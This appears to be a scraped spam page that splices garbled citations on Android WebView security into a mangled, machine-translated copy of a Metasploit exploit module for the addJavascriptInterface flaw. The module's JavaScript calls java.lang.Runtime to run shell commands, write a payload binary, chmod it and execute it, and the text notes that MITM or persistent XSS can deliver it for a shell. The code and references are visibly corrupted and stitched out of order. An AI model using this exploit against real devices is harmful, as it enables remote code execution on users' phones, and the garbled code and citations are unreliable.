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Android	browser	and	webview	addjavascriptinterface	code	execution
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Jin	X.,	Ananthanarayanan	A.,	Du	W.,	contact	attacks	with	tact	on	the	web	in	Android,	iOS	and	Windows	Phone,	International	Symposium	on	Foundations	and	Prism	Security	Ctica,	Springer,	2012,	pp.	A	secondary	attack	vector	involves	webViews	embedded	within	a	large	number	of	Android	applications.	Among	those,	Webv	Sec	found	20	applications
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Freisleben	B.,	Smith	M.,	why	Eve	and	Mallory	Love	Android:	An	Android	SSL	(in)	security	analysis,	2012	ACM	conference	procedures	in	computer	security	and	communications,	2012,	pp.	50.	Neugschwandner,	Lindorfer,	Platzer,	2013	Neugschwandtner	M.,	Lindorfer	M.,	Platzer	C.,	A	view	to	a	death:	WebView	exploitation,	6th	Usenix	workshop	in
large	-emerging	threats	and	threats	(Leet	"13),	2013.	Octeau,	JHA,	McDaniel,	Octaul	D.,	JHA	S.,	McDaniel	P.,	Retargeting	Android	applications	to	Java	bytecode,	Symposium	procedures	ACM	Sigsoft	20	in	the	foundations	of	Software	Engineering,	2012,	pp.},	'License'	=>	MSF_LICENSE,	'Author'	=>	[[	#	Original	MSF	Module	'Joev'	#	Static	Server],
'References'	=>	[['	URL	','	WebView	''	+	'AddjavascriptInterface	-Code-execution-vulnerability	/'],	['URL',	'	]	,	['URL',	'	['URL',	'	'+'	AddjavascriptInterface-Remote	-Code-execution	/	']]],'	platform	'=>'	Linux	','	Arch	'=>	Arch_Armle,'	trigger	'=>	{'	Prependfork	'=>	True},'	Objectives'	=>	[['Automatic',	{}]],	'DISCLOSUREDE'	=>	'21	December	2012	','
DefaultTarget	'=>	0,'	BrowserRequirements'	=>	{:	Source	=>	'Script'	,:	OS_FLOVAVOR	=>	"Android"	,:	Arch_Armle}))	Final	Def	On_Request_uri	(CLI,	REQ)	ourselvesi	req.uri.end_with?	('JS')	Print_Status	("Serving	Javascript")	Send_Response	(CLI,	JS,	'Type	of	Content'	=>	'Text	/	JavaScript')	Another	thing	Súdper	End	End	Def	on_request_exploit
(CLI,	REQ,	Browser)	Print_Status	("Serving	Operator	HTML	")	SEN	D_RESPONSE_HTML	(CLI,	HTML)	End	of	def	JS%	Q	|	EXEC	function	(OBJ)	{//	Make	sure	the	object	contains	a	native	interface,	try	{obj.getclass	().	Forname	('java.lang.Runtime');	}	catch	(e)	{return;	}	//	Get	the	execution	time	so	that	we	can	Exec	Var	M	=	obj.getclass	().	Forname
('java.lang.runtime').	Getmethod	('gestruntime',	null);	var	data	=	"#	{rex	::	text.to_hex	(payload.encoded_exe,	'\\\\\	x')}";	//	Get	the	name	of	the	process,	which	will	give	us	our	data	path	p	=	m.invoke	(null,	null)	.exec	(['/	System	/	Bin	/	SH',	'-C',	'CAT	/	Proc	/	$	PPID	/	CMDLINE	'];	var	ch,	path	=	'/	data	/	data	/';	While	((ch	=	p.getinComputerStream	().
LEEL	())!	=	0)	{route	+	=	string.fromcharcode	(CH);	}	Route	+	=	'/#	-	Route:Text.RAND_TEXT_ALPHA(8)}';	//	Build	the	binary,	chmod	it,	and	execute	it	m.invoke	(null,	null)	.exec	(['/	System	/	Bin	/	Sh',	'-C',	'Echo	"'	+	+	'">'	+	route]).	wait	for	();	m.invoke	(null,	null)	.Exec	(['chmod',	'700',	path]).	Serving	();	m.invoke	(null,	null	)	.Exec	([PATH]);	Returns
True;}	for	(I	at	the	top)	{Yes	{Yes	===	TRUE)	BREAK;	}	|	End	of	Def	HTML	"	#	{js}	"	end	end	if	you	can	mitten	the	WebView	HTTP	connection,	or	if	you	can	Get	a	persistent	XSS	on	the	page	that	is	displayed	in	WebView,	you	can	inject	the	HTML	/	JS	served	by	this	module	and	get	a	shell.	Last	access	in	2020.Tunca,	Demetriou,	Gunter,	Tuncay	G.S.,
Demetriou	S.,	Gunter	C.A.,	Draco:	A	system	for	a	uniform	and	fine	grain	access	control	for	the	Web	Code	in	Android,	Procedures	of	the	2016	ACM	SIGSAC	Conference	on	computer	and	communications	security,	2016,	pp.	Check	if	you	have	access	through	your	session	start	credentials	or	your	institution	to	get	full	access	in	this	article.Sign	to	see	this
article	in	digital	edition.	Digital	edition	See	the	table	of	contents	of	view	##	#	This	module	requires	Metasploit:	http	//	metasploit.com	/	Download	#	Current	source:	##	Require	'MSF	/	Core'	Class	Metasploit3	"Android"	,:	Arch	=>	Arch_Armle	,:	JavaScript	=>	True,:	Rank	=>	Excellentranking	,:	vuln_test	=>%	q	|	for	(I	at	the	top)	{Try	{Top	[I]
.Getclass	().	FORNAME	('java.lang.runtime')	IS_VULN	=	TRUE	;	break;}	catch	(e)	{}}	|})	DEF	Initialize	(info	=	{})	Super	(Update_info	(Info,	'Name'	=>	'Android	Browser	and	WebView	Addjavascript	execution	code',	'Description'	=>%	Q	{This	module	exploits	a	problem	of	escalation	of	android	privileges
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